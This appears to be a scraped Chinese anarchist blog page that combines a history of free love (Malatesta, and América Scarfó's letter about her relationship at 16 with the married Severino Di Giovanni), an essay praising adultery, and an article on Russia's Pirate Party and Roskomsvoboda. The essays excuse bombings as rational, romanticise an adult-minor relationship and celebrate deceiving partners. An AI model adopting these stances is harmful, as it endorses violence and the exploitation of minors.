大约在与巴枯宁相遇的同时，马拉泰斯塔开始了与无政府主义者艾米莉亚·特隆齐奥-扎纳德利的恋爱关系。人们对他们的关系知之甚少，但他们很可能早在1871年就开始交往了、 当时马拉泰斯塔和她哥哥一起参加了学生运动，后来又加入了第一国际那不勒斯分部。1879年，艾米莉亚跟随哥哥来到伦敦，开始做裁缝。

他们的一位战友乔瓦尼·德芬迪于1871年前往法国参加保卫巴黎公社的活动，并因此入狱八年。1880年获释后，他搬到了伦敦。这一年，他和艾米莉亚宣布自由结合：

> 下面的署名者特意向你们宣布，1880年5月8日，他们将在一些应邀前来的社会主义朋友的见证下，自由地结合。

在此之前，马拉泰斯塔已经与艾米莉亚同居；1881年，乔瓦尼加入了这对夫妇在伦敦的住所。在此后四十年的大部分时间里，他们三个人都生活在一起。英国警方借此到处煽动丑闻，称有传言说马拉泰斯塔不顾艾米莉亚与乔瓦尼的关系，强行与她同床共枕。埃里科·马拉泰斯塔

> 马拉泰斯塔居住的德芬迪夫妇的房子和生意（伊斯灵顿高街*112*号）是每个来到伦敦的人都必经的打卡地。在德芬迪家开的杂货店的小厨房里，曾有过多少兄弟间扣人心弦的讨论！

艾米莉亚有六个孩子，其中一些可能是与马拉泰斯塔共同孕育的，包括生于1883年的儿子恩里科（1897年马拉泰斯塔前往意大利时，恩里科随行）和生于1892年的女儿阿黛尔。第一次世界大战爆发时，艾米莉亚病倒了，马拉泰斯塔在她床边照顾了她几个月，直到她去世。

与米哈伊尔·巴枯宁、安东尼娅·巴枯宁和卡洛·甘布齐所遭遇的戏剧性困难相比，埃里科·马拉泰斯塔、艾米莉亚·特隆齐奥-扎纳德利、和乔瓦尼·德芬迪的感情似乎一直健康稳定，为他们数十年的政治活动奠定了坚实的基础。

鉴于米哈伊尔·巴枯宁指导过年轻的马拉泰斯塔，您可能想要知道，他二人是否讨论过心事。马拉泰斯塔在伴侣婚姻问题上的优雅举止是否从巴枯宁的建议或轶事中得到了启发？我们知道他们讨论了解放的政治和军事方面，但对他们关于解放的个人方面的讨论却知之甚少，而

这些方面对于无政府主义计划同样至关重要。

此外，虽然艾米莉亚·特隆齐奥-扎纳德利是几十年来意大利无政府主义运动的重要参与者，但我们却没有什么文献资料来了解她所做贡献的实质内容。不过，根据我们对她在组织中的作用的了解，我们知道她的贡献是相当大的。

> “让我们消除人剥削人的现象，让我们与自以为拥有女性的男性的野蛮自负作斗争，让我们与宗教、社会和性别偏见作斗争。无论如何，[在无政府主义的未来]那些爱情运势不佳的人将能会为自己谋求其他的快乐，因为它不会像今天这样，爱情和酒精是大多数人唯一的慰藉”。

—— 埃里科·马拉泰斯塔，“爱与无政府状态”

亚美莉卡·史卡弗、塞韦里诺·迪·乔瓦尼、埃米尔·阿尔曼德

「图」

如果说我们对安东尼娅·巴枯宁和艾米莉亚·特隆齐奥-扎纳德利的观点了解不多的话，那么对亚美莉卡·史卡弗的思想则有完整的记录，这位阿根廷无政府主义者在十几岁时就与一位已婚男子开始了恋爱关系。

亚美莉卡出生于一个中产阶级移民家庭，在青春期结束时，她已经与哥哥保利诺（Paulino）和亚历杭德罗（Alejandro）分享了无政府主义思想。他们家把一个房间租给了一位意大利无政府主义者，这位意大利无政府主义者因为墨索里尼的崛起，带着妻子和三个孩子逃到了阿根廷。他和亚美莉卡开始了活跃的思想交流，并发展成为恋人关系。但随后的一次警察突袭迫使他与保利诺和亚历杭德罗一起躲藏起来。

国家的干涉、父母的反对，最糟糕的是其他无政府主义者的批评，让亚美莉卡感到沮丧，她写了下面这封信，跨越大西洋寄给了埃米尔·阿尔曼德，国际知名的无政府主义者，主张“革命的性主义”和浪漫伴侣。阿尔曼德恢复了佐·德·阿克萨的个人主义无政府主义刊物《L’En-Dehors》，这本刊物在很大程度上是为了宣传今天我们称之为 “关系无政府主义” 的东西。《L’En-Dehors》

正如乔瓦尼·德芬迪和艾米莉亚·特隆齐奥-扎纳德利在她之前所做的那

样，亚美莉卡在寄出这封信的同时，也公开宣布了一段未得到教会、国家或父母认可的关系的合法性。不仅如此，作为布宜诺斯艾利斯的一名年轻女性，她还采取了革命性的措施：挑战整个社会、她所出生的家庭以及她的无政府主义者同伴的社交圈中有关亲密关系、性和情感关系的所有规范。

革命不是政党在议会或工人在工厂里实施的东西—— 它是一个涉及生活方方面面的项目，因此也涉及每个人，无论其身处何地。

布宜诺斯艾利斯，1928年12月3日

致埃米尔·阿尔芒同志

亲爱的同志，

写这封信的目的，首先是想征求您的意见。我们在生活中的每时每刻都必须按照自己的观察和思维方式行事，这样，来自其他人的责难和批评就会发现我们的个性受到最健康的责任和自由观念的保护，从而形成一道坚固的墙，削弱他们的攻击。因此，我们的行为应与我们的思想始终保持一致。

同志，我是属于多情的。我是一个相信新生活的年轻学生。我相信，通过我们个人或集体的自由行动，我们完全可以实现一个充满爱、博爱和平等的未来。

我对所有人的渴望就像我对自己的渴望一样：自由行动、自由恋爱、自由思考。也就是说，我渴望全人类的无政府状态。我认为，为了实现这一目标，我们应该进行一场社会革命。但我也认为，为了实现这场革命，我们必须摆脱各种偏见、传统、虚假的道德观和荒谬的准则。

在我们等待这场伟大革命爆发的同时，我们必须在我们目前存在的所有行动中开展这项工作。

事实上，为了实现这场革命，我们肯定不能仅仅满足于等待，而是需要在日常生活中采取行动。只要有可能，我们就应该从一个无政府主义者，也就是一个“人”的角度出发。亚美莉卡·史卡弗

例如在爱方面，我们不会等待革命的到来，我们会自由地团结起来，不理会那些作为障碍的偏见、隔阂和无数的谎言。

我认识了一个人，一个有思想的同志。根据资产阶级的法律，他是已

婚的。他与另一个女人的结合是幼稚的结果，并没有爱。当时的他还不了解我们的思想。然而，他和这个女人生活了好多年，还生了孩子。他并没有体验到与爱人在一起本该有的那种满足感。生活变得乏味，唯一能让这两个人结合在一起的就是孩子。

这个男人在了解了我们的思想后，一种新的意识在他身上诞生了。他变成了一个勇敢的斗士。他以满腔热情和智慧投身到宣传事业中。他把所有的爱都献给了理想，而不是一个人。

与此同时，家里的生活依然单调乏味，只有孩子们的快乐让生活的压抑有所缓解。偶然的情况让我们走到了一起，起初只是思想上的伙伴。我们相互交谈，相互同情，彼此了解。就这样，我们的爱情诞生了。

一开始，我们认为这是不可能的。一个只在梦里爱过的他，和一个正在步入人生的我。我俩都继续生活在怀疑和爱之间。命运 —— 或者更好的是，爱情—— 完成了剩下的一切。我们敞开心扉，我们的爱和我们的幸福开始吟唱歌谣，即使是在斗争之中，理想事实上给了我们更大的动力。我们的眼睛、我们的嘴唇、我们的心在初吻的魔力中表达了自己。我们将爱情理想化，却又将爱情带入现实。

自由的爱，没有任何障碍，没有任何阻碍。这种创造性的力量将两个人带入了一片鲜花盛开的田野，铺满了玫瑰，有时也有荆棘，但我们总能在那里找到幸福。

当两个人相爱时，整个宇宙都会变成伊甸园，不是吗？

他的妻子也支持我们的想法，尽管她的知识相对有限。当警察开始追捕我的朋友时，她证明了她对那群资产阶级秩序的雇佣杀手的蔑视。我和那位同志的妻子就是这样成为朋友的。她完全知道，这个生活在她身边的男人对我来说代表着什么。他们之间的兄弟情谊让他可以向她倾诉。他给了她自由，让她以任何有良知的无政府主义者的方式，按照自己的意愿行事。

直到此刻，说实话，我们的生活真的就像在小说里一样。我们的爱与日俱增。考虑到我朋友的政治处境，以及我尚未完成学业的事实，我们无法完全生活在一起。只要有机会，我们就会在不同的地方见面。这难道不是升华爱情使其远离家庭生活琐事的最佳方式吗？虽然我确信，如果是真爱，最美好的事情就是生活在一起。

这就是我想解释的。这里有些人变成了法官。这样的人并不常见，事

实上，他们都是有思想的同志，他们认为自己没有偏见，然而实际上，他们是不宽容的。其中一个人说，我们的爱情是一种疯狂；另一个人说，我朋友的妻子在扮演“殉道者”的角色，尽管她完全知道与我们有关的一切事，她完全主宰，并享受着自由。第三个人竟提出了可笑的经济障碍。我是独立的，就像我的朋友一样。很有可能，我将为自己创造一个自力更生的环境，使我能摆脱这方面的一切忧虑。

还有，孩子的问题。孩子与我们内心的感受能有什么关系呢？为什么有孩子的人就不能爱呢？这就好比说，一个家庭的父亲不能为思想工作等等。他们凭什么认为那些小生命会因为他们的父亲爱我而被遗忘？如果一个父亲忘记了他自己的孩子，他就应该受到我的蔑视，我们之间也就不会存在爱了。亚美莉卡·史卡弗，1929年

在这里，在布宜诺斯艾利斯，某些同志对自由恋爱的理解真是微乎其微。他们认为自由恋爱就是非法同居，与此同时，他们甚至还在自己的家中继续着无知者的愚昧和偏见。资产阶级社会中也存在这种无视户籍官和牧师的结合。那也能叫自由恋爱吗？

最后，他们还批评我们的年龄差异。就因为我16岁，而我的朋友26岁。有些人指责我经营算计，有些人则说我不知情。哎呀，这些“无政府主义的教皇们”！居然让年龄问题干扰爱情！就好像一个长着脑袋的大活人完全无法对自己的行为负责似的！另方面，这是我自己的问题，如果年龄的差异对我来说毫无意义，那对其他人又有什么关系呢？我所珍惜和热爱的是精神的青春，它是永恒的。

还有人给我们贴上堕落者、病人和其他类似的标签。对于这些人，我要说：为什么？就因为我们活得真实、就因为我们承认自己对自由的爱的崇拜？因为我们的爱就像给人行道和花园带来欢乐的鸟儿一样，不理会任何准则或虚假的道德？因为我们忠于自己的想法？我不屑于跟那些不懂得如何去爱的人理论。

真爱是纯洁的。真爱是太阳，它的光芒照耀着那些无法攀登高峰的人。我们必须自由地生活。我们给予美，给予精神的愉悦，给予爱，给予它们应有的崇敬。

就是如此，同志。我想听听您对我的情况的看法。我很清楚自己在做什么，我不需要别人的认可或赞扬。只是，我读过您的许多文章，同意您的各种观点，如果能知道您的意见，我会很满足。

这封信以“一次经历”为题刊登在1929年1月20日的《L’en dehors》上。埃米尔·阿尔曼德将他的回复刊登在信的旁边：

“同志： 对于你描述给我的这件关于你正在做的事情，我的意见并不重要。你的选择是否与你个人对无政府主义生活的看法完全一致？如果是，那就不要理会其他任何人的评论和侮辱，继续走自己的路。没有任何人有权评判你的行为方式，即使你朋友的妻子敌视你的行为方式也没有关系。每一个与无政府主义者结合的人（反之亦然）都应该非常清楚地知道，她不应该对他施加任何形式的统治，也不应该接受他的任何形式的统治”。

塞韦里诺·迪·乔瓦尼

16岁的亚美莉卡·史卡弗在信中提到的情人当然是阿根廷头号通缉犯、无政府主义者塞韦里诺·迪·乔瓦尼。当她寄出这封信时，乔瓦尼正生活在逃亡中，他被指控针对意大利领事馆、美国大使馆、福特汽车公司和乔治华盛顿纪念碑等目标实施了一系列爆炸活动。1931年1月，他与亚美莉卡和她的兄弟保利诺一起被抓获，他还被指控制造了阿根廷当代史上最轰动的抢劫案，并枪杀了多名警察。

当时，阿根廷发生了军事政变，希特勒正在德国掌权，整个世界似乎都在迅速滑向法西斯主义。在这样的背景下，完全可以把塞韦里诺的行为理解为一种理性的尝试，即 在他所能利用的土地上实施急需的革命措施，就像他和亚美莉卡在他们的浪漫关系中所做的那样。

警察在抓获塞韦里诺后，先把他交给医生处理伤口，这只是为了确保他能活到示众审判之后再死。据报道，警察对塞韦里诺严刑拷打，但没有任何被捕者与国家合作告发自己的同伙。审判结束后，塞韦里诺的律师也被捕了，被解除了武装部队的职务，关进监狱，并被驱逐出境。

小说家罗伯托·阿尔特目睹了塞韦里诺被处决的场景：

> 他目不转睛地盯着行刑者。他浑身上下散发着意志的光芒。他是否痛苦，无人知晓。但他就是这样，一动不动，傲然挺立。

行刑结束后，他们才叫来铁匠解开他的脚镣，又叫来一名医生，这次是为了确保他已经死亡。然后，为了稳妥起见，他们又处决了亚美莉卡的兄弟保利诺。

他们释放了亚美莉卡，认为她的年龄不适合接受审判。塞韦里诺·迪·乔瓦尼被捕

1999年7月28日，时隔68年之后，阿根廷政府终于将塞韦里诺·迪·乔瓦尼的信件归还给了亚美莉卡·史卡弗。亚美莉卡于2006年8月26日去世，享年93岁。她的骨灰被安葬在布宜诺斯艾利斯阿根廷自由意志主义联合会总部旁的花园里。

激烈的爱、超出规定界限的爱有许多不同的风险。也许唯一比这些可怕的风险更可怕的是不敢去爱所带来的致命的确定性。

> “对我们来说，爱是一种自造悲剧的激情”。

托马斯·纳斯特漫画攻击维多利亚·伍德哈尔，她是自由恋爱的倡导者、第一国际成员、无政府主义成员，顺便说一句，她也是第一位竞选美国总统的女性。

> “几乎所有地方的妇女都是奴隶，而我们自己则是她们奴役的奴隶；没有她们的解放，没有她们完全的、无限的自由，我们的自由是不可能的。”

□

原文

出轨不仅无罪，而且是重要的反抗行动。但故事没有结束于此 … - iyouport

无政府主义

通奸。和半个革命。

> 抓住你第一次称自己为无政府主义者的那一刻。不管你是怎么说出来的，那肯定是一种拒绝，一种替代说“不”的选择。你可能没有意识到，这正是你人生中第一次与试图削弱你能力的世界划清界限的时刻。找到那个时刻，找到那种影响，并牢牢抓住它。无论你被他们夺走什么，他们都夺不走这个。

如果两性关系制度是过去十万年以来人类爱情的成就，那为什么出轨如此普遍，以至于几乎成为小资产阶级客厅里的笑料八卦？ …… 并且还要雇佣一大批婚姻顾问？如果我们所有人都真诚地渴望找到自己的“真爱”，那为什么我们不能跟喜欢的人牵手？

如果你真想知道这些为什么，就应该直奔源头，去问问出轨者本人。甚至可能你自己就有过出轨的行为、或者已经有了那种倾向，正如统计数据所表明的那样。

“美好的婚姻需要努力”

「图」

（“Good Marriages Take Work” 是句俗语）

在资本主义经济主导的环境中长大，总会能学到一些难忘的心理课：任何有价值的东西都是“供给稀缺”的；趁着你还没变得孤身一人、一无所有之前，尽快提出你的主张。我们学会了用别人愿意为我们牺牲多少来衡量承诺和感情，甚至已经无法想象分享是如何让爱和快乐倍增的；事实上在健康的关系中，朋友或恋人都能使彼此变得更加积极、生活更丰富，感受更多。

如果你觉得，在你的直觉中（如果不是在你的头脑中的话）一夫一妻制意味着放弃一些东西（正如他们所说的，放弃你的“自由”），那么说明剥削模式甚至已经渗透到你的浪漫生活中了。这是成本收益计算根本无法衡量的。

我们都知道，“美好的婚姻需要努力” / Take Work。 不过这里需要强调的是：Work ，是我们异化文化的基石。工资劳动、关系劳动 —— 你是否曾经迟到早退？你是否接受了令人窒息的约束限制只为换取一点情感和安慰，就像你在工作中接受996用时间和自由换取金钱那样？当你必须在一夫一妻制的关系中努力时，你就又回到了交换系统中：你的亲密经济就像资本主义经济一样，受到稀缺性、威胁和程式化禁令的支配，而且还被意识形态式的保护着，即没有可行的替代选择 …… 也就是说，就像资本主义经济一样。

当人际关系变成了工作，当欲望以契约的方式组织起来、被保存入账、如同被雇佣的劳动力那样被榨取忠诚，婚姻就变成了一个家庭工厂，通过严格的车间纪律来管理，旨在将全世界的妻子和丈夫都用铁链捆绑起来，绑在机器上进行繁殖 —— 那么其中一些人情不自禁地反抗也就不足为奇了。

“出轨” 与所谓的 “美满婚姻” 形成鲜明对比。出轨是自然发生的，甚至无需邀请。突然间，你感觉到了某种转变的发生：从你们久违于激情的关系坟墓中醒来了，你再次感受到了那种兴奋。你有点害怕这种感觉，特娘的，但这是你第一次被纯粹的、非强迫的幸福所迷惑，谁知道这一切能持续多久 —— 哦，那是一种对新事物的甜蜜乐观，某种新颖的但并非不可预测的东西 …… 就好像是惊喜、冒险、满足等等真正可以想象的可能性。多么美妙。如果有其他人能够感受到你现在的感受，他们还怎么可能会要求你拒绝呢？

偷得那一刹那的自由 ……

「图」

出轨者其实是上了一堂速成课，他/她发现了自己所居住的空间和时间是如何被占领的。他/她几乎马上就看清楚了，自己的自由时间是多么的少，就是说那些自己没有被密切监视着的时间 —— 就犹如，事实证明当你我离开工作场所时，工作日并没有结束，而是在工作场所的前后双向延伸了，几乎耗尽了你我的一生。

这种顿悟也同时揭示了婚姻制度对你我空间的支配：你有多少地方、多少时间可以让自己与新欢共度？有多少地方可以不需要花钱，有多

少可信的解释，有多少社会责任的形象？在你我生命中的哪些时刻里没有遵守那些被外力强加的、明显与我们的情感和身体需要毫无关系的准则和规范？

出轨者被磨练成了小偷小摸的高手。我们从那些所谓的“合法主人”那里一一窃取本就应该属于我们自己的生命的时光，从配偶、从雇主、从家庭和社会义务那里。

就像破坏者一样，他以他所知道的方式抵制着他的世界的统治者——通过微小且很大程度上具有象征意义的日常煽动，并从中小心翼翼地构建了一个无限脆弱的替代宇宙。他在精神上而不是肉体上藏身于此，希望不被发现，不要被要求对自己的所作所为负责：被指责为养育他的整个文明的叛徒。

“诚实才是上上策”…… 真的吗？

「图」

以出轨者“不幸的配偶”为代表的整个社会都要求出轨者对所有事情都要“诚实和坦率”。但诚实了又能怎么样，这个社会只会因诚实而惩罚出轨者。它试图通过例行审讯（“亲爱的，那个打电话的人是谁？”）、监视（“你认为我没有注意到你花了多少时间和她说话吗？”）、搜查和扣押（“这特么还能是个啥！”）来确保出轨者的服从；甚至还有更严重的恐吓策略：威胁把出轨者从对于他/她来说基本上是唯一的家庭和社区中彻底驱逐出去。

不得不说出真相的出轨者被迫使用“痛商”来计算自己的承受力：把你当前的不快乐除以与之抗争的有害后果，再乘以出于对未知的恐惧，然后再三考虑是否真的需要采取什么行动。这与被剥削的移民工人和被锁在私立学校地狱中的儿童、被家暴殴打的女人和遭受性骚扰的秘书所使用的公式是相同的。

我们的社会缺少的一种智慧就是：应该知道说真话不止是言说者的责任。如果你真的想知道真相，就必须让人们可以更容易地告诉你真相：你必须真诚地支持并做好应对任何事情的准备，而不仅仅是提出你自以为是的要求或扮演好警察/坏警察（ 就像是“只要你告诉我实话，我就保证理解你 …… 我擦你个狗日的到底做了什么？！”）。这只能导致逃避行为，或者造成你的盘问对象找到对他自己和对你撒谎的方法。

无论是我们这个社会，还是戴绿帽子的男人和女人，都没有准备好接

受出轨者的真相揭露；这些真相只有在他/她与情人的昵喃中才是安全的。

“人家会受伤的哟”

「图」

不可避免的，尽管出轨者可能处心积虑，其他人还是会感到被伤害。更重要的是，那些已经受到伤害的人们，只有在强制的家庭沉默中才是看不见的，否则在那些已经令人心死的地方再搞这类激烈措施真就没有任何必要了。

这么做真的会比继续婚姻中的一成不变和幻觉、让每个人对婚姻的厌倦都继续走向痛苦结局更好吗？

对于毫无戒心的伴侣来说，继续根据那些导致自我否定的忠诚标准来衡量自己作为爱人和配偶的价值、而这一标准早已经在精神上而非文字上被违反了，是否更好？当然，你可以不出轨，而是去做咨询，对你的配偶更“诚实”，而不是对你自己更诚实，当你发现潜在爱人的眼中即将诞生一个新景观的时候就掉头离开，转而尝试一个新目标，譬如一个还过得去的替代品，一个被认可的伴侣，或者用电视机或百忧解来让自己麻木，如果失败的话……

切入问题的核心：避免情感死亡的渴望难道有任何错误吗？现代已婚男人或女人需要多大的自信和赋权才能冒着巨大的风险，手无寸铁地怀抱着自我辩护和自我贬低这两个仅有的“武器”，不断地运用借口、道歉和自责？

出轨者发现，在已有的浪漫标准的鼓励和威胁之下，他/她沦陷在了自己的生活中，尽管尽了最大的努力克制自己，但他/她已经开始策划越狱。如果他/她很清楚地反思自己的处境，那么秘密的自我就可能会反抗并开始提出重要的问题：“我真正渴望过什么样的生活？我应该感受到多少自由和成就感？为什么为了满足自己的需要而伤害别人？……”

事实是，每当有人挑战那些陈腐的秩序时，总会有人受到伤害，甚至是“无辜”的人，有时并不是那些在旧政权中受苦的无辜者。这就是为什么任何不完全屈服于现状的行为都被认为是“不良道德”。但是，一旦反叛的渴望袭来，替代方案就变得不可想象（想想那些选择反叛的人做了多少思考）……

因此，出轨者往往不情愿但又无法抗拒地做出伤害他人的事，但肯定不会超过那些“必须相关”的人了。如果他/她准备好拥抱并自豪地宣布自己的“非份之愿”（而不是最终以一种歉意的修正主义的方式拒绝真心：“我不知道我在做什么！”），并为可能造成的进一步痛苦承担责任，他/她最终将站在一个可以走出伤害循环的位置 —— 即爱的稀缺经济。

但他/她缺乏勇气，也缺乏对最后行动的分析：这就是为什么他/她仍然只是一个出轨者，一个完成了一半革命的人 —— 而且是最糟糕的一半。

“孩子们呢？”

「图」

“孩子们咋办？”当资产阶级的哨兵们听到又有一桩婚姻因外遇而受到威胁时，他们感到震惊，担心自己可能会成为下一个。

他们又能如何？你认为你能保护下一代免受介于欲望的复杂性和社会禁忌的简单性之间的悲剧性张力的影响吗？

如果你压抑自己对幸福的渴望，将其转移到对子孙后代的期望上，那么你最终只会扼杀你的孩子以及你自己。

如果你的孩子能够成长在一个人们敢于诚实表达自己想要的东西（无论后果如何）的世界里，他们会过得更好。你是否希望他们像你一样被提醒，学会将自己的渴望变成羞耻和悔恨？

需要指出的是，那些自封的法官们声称保护一夫一妻制的核心家庭免受出轨所意味的“伤害”，但它只是取代了过去更广泛、更流动的大家庭结构。众所周知，孩子们在大家庭结构的环境中得到了更好的照顾，他们的父母也有更多的自由。

重新思考。难道出轨对于我们曾经拥有的广大社会来说只是一种盲目的、绝望的冲刺，以脱离契约关系的牢笼吗？ —— 或者，至少可以充当通向新形式契约关系的垫脚石？伦敦街头（“如果你看到有人偷食物，就当自己没看到”。）

让出轨成为革命的起点

「图」

最终，出轨之所以成为可能，是因为它所提出的问题还没有得到解答。就像商店扒手、骚乱者和自杀者一样，出轨者只完成了半个革命：他/她触犯了专制惯例和法律法令，然，那些惯例和法令同时也因出轨者的如此作为而仍然继续存在下来了，指向了那些服从的和反应性的行为。

出轨者最好能毫无愧疚地向全世界揭示自己的身份和愿望，并要求全世界为他/她的欲望找到一个位置，无论它们是什么 —— 然后，出轨者的个人斗争就可能成为一场全人类关系的革命起点了，每个人都可以从中受益，而不仅仅是在自我意识到将被消灭前被孤立的激情和反叛。

每当出轨者向前迈出一步时，我们所有人都应该尽力保护他/她免受这个社会的羞辱，以便他/她能够这样迈出一步 —— 因为他/她的行为，就像我们自己一样，完全是出于对革命的新世界不可抑制的热情。

“是的，我出轨了！” 🎉 □

□

Adultery (and other half revolutions)

原文

“在一个完美的世界里，我们是不会存在的“：俄罗斯海盗党和社运心电图 - iyouport

反抗者-寻求经验社会运动和公民社会

【2019年8月28日存档】随着海盗党在全球范围内不断集结共识，争取互联网自由的运动形势一直是令人振奋的；每一个积极反抗的社会都很容易受到海盗党理念的感染。这其中自然不会少了俄罗斯。我们曾经多次介绍过俄罗斯活动家的反抗热情，本文是一个更加深入的展现，其中会涉及到一些细节值得中国社会参考。您能找到这些细节吗？

在过去七年中，俄罗斯政府已经大幅收紧了对互联网的监管，并且没有显示出任何放缓的迹象：2019年4月16日，国家杜马通过了一项新的法律，允许隔离俄罗斯的网络，独立于万维网。

幸运的是，俄罗斯社会不是中国社会，后者在 GFW 建立起来后直到现在的几十年中都没有任何反抗。俄罗斯社会在积极地反抗。

俄罗斯社会对新法律的冲击主要来自反对政府的民间小型组织和个人活动家，而 **Roskomsvoboda** 已成为其中最突出的群体。这个小型项目由俄罗斯海盗党的活动家于**2012**年创立，随着俄罗斯审查制度的发展，该组织已经转变为一个全面的倡导组织。

Meduza 特约记者 Pavel Merzlikin 对 Roskomsvoboda 进行了采访，询问该组织是否有机会反对俄罗斯政府并争取赢得互联网自由的斗争。

2012年，弗拉基米尔·普京赢回了俄罗斯总统的位置。同年，著名反对派团体 Pussy Riot 在莫斯科市中心的救世主基督大教堂进行了“朋克祈祷”表演，并因此被监禁。

大规模的民主抗议运动最终以对数十人的刑事指控而结束，政府则迈出了史上最严格和最全面的俄罗斯互联网监管政策的第一步：当年7

月，一项新的法律被通过，允许法外处罚在网站上提供任何“可能对儿童有害”的信息的人。

国家杜马成员认为，法律对于打击儿童色情和毒品交易是“必要的”，但维基百科和社交媒体网站 VKontakte 的代表确信该法律将导致审查。

它确实如此。该法案可以导致任何网站被封锁，只需要当局声称其内容“对儿童有害” —— 警惕法案中任何没有具体解释的形容词一直都是必要的，因为形容词是主观的，立法者掌握解释权。此外，在2013年发布的法外命令还令当局有权阻止那些其用户被指称参与了未经地方当局批准的抗议活动的网站。

执行这些新规定的责任归 Roskomnadzor 所有，该机构之前主要处理发布媒体许可证。2012年11月1日，该机构发布了一个新的禁止网站注册表 – 就是黑名单。同一天，一个新的小规模民间反抗项目出现在莫斯科，其名称明显模仿监管机构“Roskomnadzor”，被称为 Roskomsvoboda，其中“svoboda”在俄语中的意思是“自由”。

该项目的网站包括一个方便的列表，列出了俄罗斯阻止的所有在线资源、还有如何绕过网上禁令的说明，以及有关该国互联网监管的新闻。创建 Roskomsvoboda 的活动家属于海盗党，该党未在俄罗斯正式注册。

六年半之后，监管机构 Roskomnadzor 已经阻止了超过275,000个资源，而由于评论和转发引发的刑事案件已经比比皆是无人幸免，政府已经通过了一系列严格规定互联网的新法律。

这些法律使俄罗斯公民能够要求搜索引擎从其结果中删除某些链接，并强制要求互联网服务提供商和运营商保留其用户活动记录长达半年。最近，他们还惩罚了所谓的“不尊重政府”的在线表达，并允许隔离 RuNet。

反抗团队 Roskomsvoboda 与其希望打击的法规同步发展。到2019年，该组织已从一个小型网站发展成为了*俄罗斯自由互联网倡导的主要来源*。

不，不是那种海盗

2009年，莫斯科国家计算数学和控制论研究生 Stanislav Shakirov 访问了他在德国的一位同学，并发现对方是当地海盗党的成员。该党成

立于2006年，并一直倡导在线自由、版权改革和直接电子民主。

海盗党在德国正式注册，当 Shakirov 发现它时，该团体已经吸引了一批追随者。 **2009**年，“海盗”赢得了联邦议院**2**%的选票。

Shakirov 一直对技术与政治的交叉感兴趣，因此他很快就对海盗党的想法着迷了。当他从慕尼黑回到莫斯科时，他开始寻找海盗党在俄罗斯的支持者，但他很快发现，海盗党在俄罗斯的存在只限于在线论坛。

他决定改变这一局面，并为该党的俄罗斯的活动家组织了第一次线下会议。 2009年12月，该党已经举行了第一次在线选举，Shakirov 成为该组织的主席。*Stanislav Shakirov (right) and Pirate Party of Russia chair Pavel Rassudov. Moscow, March 30, 2011*

俄罗斯“海盗”梦想成为一支真正的政治力量，最终争夺权力、甚至是总统席位。

他们尝试了。他们作为独立候选人或其他党派参加了地区选举；一名海盗党成员还试图在2012年当选为俄罗斯反对派活动家的协调委员会成员。但所有这些努力都是徒劳的。

“海盗们”多次试图正式登记他们的政党，但是司法部一直在拒绝，并且给出了各种奇怪的原因，包括该党的名字中提到海盗，而其政治目标与海上偷窃无关，因此“不能对应党的名称”……等等。

近年来，俄罗斯的海盗党已停止寻求官方承认。现任主席 – 阿尔汉格尔斯克的一位名叫 Anton Yershov 的IT经理告诉 Meduza，该组织现在包括数百人，尽管只有大约**100**人积极参与其中。他们在社交媒体群组中分享互联网审查案件、制作播客，有时甚至组织公众示威活动。

俄罗斯海盗党是一年前社交应用 Telegram 被俄罗斯当局封锁后的“自由互联网”抗议活动的组织者之一 —— 在这里看到IYP一年前对此的分析《为什么是俄罗斯封锁 Telegram 引发连日刷屏而不是中国的大面积封锁和监控？》。

俄罗斯“海盗党”也与其他国家的海盗党同行保持着联系，在后者那些国家里海盗党的地位往往更加稳定。例如，海盗党成员包括布拉格市长 ZdeněkHřib 和德国现任欧洲议会议员 Julia Reda。在一些国家，例如冰岛和捷克共和国，海盗党还拥有议会席位。

在俄罗斯，海盗党的成功显得更为缓慢。在政府最初拒绝批准其正式登记的申请后，一些成员的“热情有点消退”；然而消退并没有发挥其传染性，在2012年，五位海盗党的活动家推出了反审查项目 Roskomsvoboda，起初，该项目是该党的明确部分。

其中四名成员仍将大部分时间都投入了 Roskomsvoboda。他们是新闻秘书 Natalya Malysheva 以及团体领导人 Stanislav Shakirov，Sarkis Darbinyan 和 Artyom Kozlyuk。Kozlyuk 被正式列为该组织的主席，但活动人士坚称他们有一个“三管齐下”的领导结构。

所有四位 **Roskomsvoboda** 老将都是在海盗党内部相识的。他们四人都对技术感兴趣，但他们的背景彼此差异很大。Malysheva 接受过记者培训，Darbinyan 是一名执业律师，Shakirov 拥有自己的小型IT业务。Kozlyuk 将他七年的生命献给了军队：他在一所军事学院接受过工程师培训，然后在军队服役，最终获得了高级副官的职位。Kozlyuk 于2010年初加入海盗党。

显然，该反抗组织成功集结了来自不同领域掌握不同技能的人，这是有效协作的基本方式。你不需要让自己成为全能的超人，只要擅长协作，就可以构建一支超人团队。

“在此之前我就是民间活动家，”Kozlyuk 解释说，“我总是试图让官僚们负责。我经常出现在政府实体面前，并要求他们修复我家外面的道路。我设法让他们去干活。因此，作为一个捍卫数字权利的组织，海盗党是我正在做的事的合理延伸。“

渐渐地，Roskomsvoboda 脱离了“海盗”，但这两个组织一直在共同努力。Roskomsvoboda 的领导人仍然是海盗党的成员，但他们不再参与其中 —— 只是因为没有足够的时间。 Roskomsvoboda 的驻地律师 Sarkis Darbinyan 说：“海盗党已经有了新一代掌舵人。”

Kozlyuk 澄清说，起初，活动家们并不打算将 Roskomsvoboda 变成一个独立于海盗党的独立倡导组织。他们只是想创建一个方便的服务，允许用户跟踪哪些网站被阻止。然而，该项目立即引起了用户和记者的注意，并且在2013年，政府继续批准限制俄罗斯社会在线自由的新法律；那时，Roskomsvoboda 的创始人终于意识到他们所做的不再仅限于被阻止的网站列表。

从“海盗”到人权倡导者

2013年，国家杜马通过了一项法律，允许俄罗斯政府在没有法院裁决

的情况下封锁携带盗版内容的网站，作为响应权利人投诉而实施的安全措施。

同年，“俄罗斯社会倡议”（ROI）网站发布，允许居民向政府机构请愿，并承诺如果他们收到超过100,000个签名，他们的请愿书将被阅读。那个时候 Roskomsvoboda 已经存在不到一年，他们决定试图制止反盗版法律。

Artyom Kozlyuk 发布了一份法律请愿书，并在一个月内收集到了必要的**100,000**个签名。 Kozlyuk 受邀与政府专家委员会举行听证会。该听证会由当时的政府部长米哈伊尔·阿比佐夫担任主席，后来此人因欺诈和组织犯罪集团而受到指控。在那场听证会上，活动人士称反盗版法案“有缺陷”。“我发表了讲话，但他们告诉我们，他们不能废除刚刚通过的法律，”Kozlyuk 说。

